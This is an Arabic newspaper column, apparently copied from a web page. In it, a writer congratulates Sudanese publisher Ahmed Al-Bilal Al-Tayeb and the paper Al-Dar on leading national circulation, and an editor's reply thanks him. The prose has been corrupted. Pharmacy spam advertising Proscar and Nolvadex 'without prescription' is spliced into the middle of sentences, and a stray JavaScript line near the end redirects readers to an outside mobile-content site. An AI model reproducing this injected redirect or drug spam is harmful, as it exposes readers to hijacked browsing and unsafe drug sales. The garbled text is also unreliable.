أخي أحمد أبدأ وأقول مستصحباً قول الشاعر:
هم أهلي واخوتي فأتني بمثلهم buy proscar fast u.s. express delivery. best prices for all customers! buy cheap proscar online no prescription needed. … إذا جمعتنا يا جرير المجامع
التهنئة لك.. والتباريك لأهل الدار.. والبخت كل البخت للسادة القراء
.. والدار تحتفل بتتويجها الصحيفة الأولى توزيعاً وانتشاراً بين كل الصحف السودانية لابد أن نتقدم بالشكر كله لمؤسسة أخبار اليوم وأخص بالتهنئة ربانها الماهر الأستاذ/ أحمد البلال الطيب الذي بدأ حياته عصامياً.. حفر لنفسه مكاناً في خارطة مهنة (التعب والشقاء).. مؤمناً برسالة الصحافة السامية نشر الحب والخير والسلام.. لم يخالف يوماً قلمه ضميره.. ولم يقل كلمة إلا في موضعها ملتزماً بجانب (الخبر المقدس مع الرأي الحر).. كان شعاره دائماً وأبداً الإيمان بالرب والثقة بالنفس.. عفة قلمه ولسانه لم تحرج أحداً.. ولم تطعن حتى فيما يخالفه الرأي .. بهذه الشوامل where to buy nolvadex online purchase nolvadex no rx adex free consultation order nolvadex 10 mg discount motrin online australia buy nolvadex 20 mg overnight بدأت وسارت سفينة المؤسسة الصحفية مع صحبة أخوته وتعاليمه لهم لتأتي العزائم على قدر أهل العزم وهنا تعود بي خاطرة ما قاله لقمان لابنه: ( إن الدنيا بحر عميق قد غرق فيها كثير من الناس فاجعل سفينتك فيها تقوى الله)، إذن لا غرو أن تكون إحدى إصدارة المؤسسة (الدار) ولا عجب أن تصبح الأكثر انتشاراً وتوزيعاً فهي تسير على نفس المنهج والمنهاج ويكفي فقط أن مؤسسة أخبار اليوم قد خرجت من ردهاتها أجيالاً وأجيالاً وضعوا بصماتهم وأثبتوا وجودهم كعمالقة في العمل الصحفي بل في قيادته.
اذن جاءت تلكم الشوامل فطرة وليست تكلفاً فتربية أولاد البلال ونشأتهم كانت على كنف رجل صالح زاهد ركع سجد عرف الله وتقرب منه إنه العارف بالله طيب الذكر الشيخ البلال الطيب عليه رحمة الله فساروا على هديه واتقوا الله فيما بعده فجعل لهم مخرج صدق في عملهم ورزقهم من حيث لا يحتسبون.. فربحت تجارتهم.
أما أنت أخي أحمد فقد أثبت أنك بقدر هائل من الشجاعة ومقدور كبير من المواهب غير العادية جعلتك رجل صحافة ماهر.. تعني الاستقامة وتشكل الوضوح.. الاقتراب منك يكشف البراءة والأمانة والصدق.. والمتابع لعملك يشعر بالرغبة التامة الصادقة ف الإجادة.. تحديدك للمواقف يؤكد أنك الأخ الوفي الصديق صاحب القلب الكبير الذي يسع حب الناس جميعاً.
إذن فالتهنئة لمؤسسة أخبار اليوم وتهنئة خاصة لك أيها الصحفي الشامل.. الناجح (وكفى ولا أزيدك عليها).. ولأخيك ياسر وبقية العقد الفريد.. والتباريك كلها لأهلي في جريدة الدار وأخص مباركة خاصة لأخي المبارك.. مبارك الصحفي الشاطر (وبس).. والحارث وزملائه.. والنباخت البخت بالبخت لجمهور السادة القراء ونقول ليهم يا بختكم يا قراء فلقد حظيتم حظوة وسماحة وصباحة وجمالاً لم تشعروا به إلا بعد توزيع العدد الهائل من جريدة الدار.
وأخيراً كل الأماني لك أخي أحمد.. الأماني الطيبات الصادقات نجاحاً وفلاحاً ولصحافتنا السودانية التقدم والازدهار ولسوداننا الوطن العظيم الأمن والرخاء والازدهار والهناء ودمتم في رعاية الله وحفظه.
كمال أفرو
نقطة نظام تعقيبية:
الشكر للأخ والصديق والزميل الأستاذ كمال أفرو والذي عرفناه منذ قرابة الأربعين عاماً، وكان دائماً هو، هو، كمال أفرو (ابن البلد الأصيل) و(حمامة السلام) بين المتخاصمين والمتشاكسين بجميع قطاعات المجتمع وخاصة الصحفية والرياضية والفنية، « ووفاء» يمشي على رجلين اثنين هما (رجلاه).
ونحفظ للأخ الصديق والزميل أفرو أنه كان وما زال أحد الجنود المجهولين الذين وقفوا بصدق وتجرد وإخلاص خلف كل نجاحات صحف الشركة، كاتباً ومستشاراً ومشجعاً ومؤازراً.
ولم أندهش وأنا أشارك في جزء من احتفال (الدار) قبل أيام بالنادي العائلي والأخ والصديق والزميل أفرو يدير (بحنكته) و(أريحيته) و(حكمته) الاحتفال، ونقولها صادقين سواء كان لنا ولغيرنا ما تلفتنا في (فرح) أو (كره) إلا وجدنا الأخ العزيز أفرو وهو يقف إلى جانبنا مسانداً بل متلقياً (التعازي) أو (التهاني) معاً.
وانتهز هذه الفرصة لأشيد باللفتة البارعة من الفنان (الأسطورة) كمال ترباس، (مظهراً) و(فناً) و(إبداعاً) و(تربعاً) دائماً بالقمة حيث قام بتكريم الصحيفة ممثلة في شخصنا وهو الأقل عطاءً ومساهمة بعروس (شركة اليوم)، (الدار). كما أتقدم بخالص الشكر للنادي العائلي ولكوكبة الفنانين الأصدقاء المبدع، ابن العم والمنطقة حسين شندي، والمتطور دوماً بلال موسى، وملك الطرب عوض الكريم عبدالله، وأستاذ الفن عبدالقادر سالم، وقيثارة الغناء الشعبي الحديث القلع عبدالحفيظ، وغيرهم من الذين شرفونا بالحضور والغناء في تلك الليلة (الليلاء)، وتحية شكر وتقدير وعرفان (للنمر) سعادة اللواء أمن (م) عمر نمر معتمد محلية الخرطوم ضيف شرف الاحتفال، وللقنوات الفضائية التي قامت بنقل الاحتفال، وأخشى أن أذكر اسماً واحداً من أسماء (القامات) التي شاركت في الاحتفال وأنسى (آخر) وأقع في محظور (اللوم).
window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”;
التعليقات مغلقة.